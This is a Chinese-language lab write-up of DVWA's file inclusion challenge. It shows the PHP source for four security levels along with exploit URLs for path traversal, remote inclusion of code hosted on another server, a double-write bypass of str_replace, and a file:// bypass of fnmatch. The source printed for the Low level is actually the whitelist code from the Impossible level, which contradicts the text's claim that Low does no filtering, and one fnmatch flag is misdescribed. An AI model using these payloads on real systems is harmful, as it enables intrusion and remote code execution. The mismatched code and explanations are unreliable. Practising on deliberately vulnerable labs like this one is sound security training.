目录
什么是文件包含漏洞?
指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include()、require()和include_once()、require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
与文件包含有关的函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
1、级别:Low
看一下源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
网页并没有对参数进行任何的过滤 ,也就是说page这个参数是不可控的,一下就被黑客狠狠拿捏住了呢~
点击file1.php,通过URL可以看出文件以GET请求的方式上传 ,url:http://192.168.101.66/bachang/DVWA-master/vulnerabilities/fi/?page=file1.php
我们在PHP study的配置文件php.ini中将allow_url_include和allow_url_fopen的状态改为on ,这样服务器就可以远程包含一个文件了
我在F盘创建了一个txt文件,用来测试包含本地文件是否能成功
修改url为http://192.168.101.66/bachang/DVWA-master/vulnerabilities/fi/?page=F://test.txt,我们可以成功访问到刚刚写的那个文件(注意:服务器包含文件时,不管文件后缀是否是php,只要文件内容符合php语法,都会被当做php文件执行)
还可以构造url相对路径:http://192.168.35.132/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\WWW\bachang\DVWA-master\index1.php(..\..\是为了成功到达根目录)
通过这种方式,我们可以在远程服务器上上传一个带有一句话木马的任意文件,并且远程读取该文件。例如:
在远程服务器192.168.0.20上传一个phpinfo.txt文件,内容如下:
<?php phpinfo();?>构造以下url,成功在服务器上执行了phpinfo()函数。
www.dvwa.com/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt
2、级别:Medium
源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符。这里只是过滤了远程包含,但没有过滤本地包含。
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。例如page=htthttp://p://时,str_replace函数会将http://删除,于是page=http://,成功执行远程命令。
例如:
http://www.dvwa.com/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt
3、级别:High
源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch()函数用于将文件名或字符串与指定模式进行匹配。模式和要检查的文件名作为参数发送到fnmatch()函数,如果找到匹配项,则返回True,失败则返回False。
用法:
fnmatch(pattern, string, flags)使用的参数:
PHP中的fnmatch()函数接受三个参数。
- pattern :它是必填参数,用于指定要搜索的模式。
- string :它是必填参数,用于指定要检查的字符串或文件。
- flags :它是可选的参数表,用于指定标志或标志的组合。
这些标志可以是以下标志的组合:
- FNM_PATHNAME:用于指定字符串中的斜线仅匹配给定模式中的斜线。
- FNM_NOESCAPE:用于禁用反斜杠转义。
- FNM_CASEFOLD:用于无 shell 匹配。
- FNM_PERIOD:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配。
代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
High级别的代码规定只能包含file开头的文件,可以利用file协议绕过防护策略。
url:http://192.168.101.66/bachang/DVWA-master/vulnerabilities/fi/?page=file:///F:test.txt
4、级别:Impossible
看一下源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”,彻底杜绝了文件包含漏洞。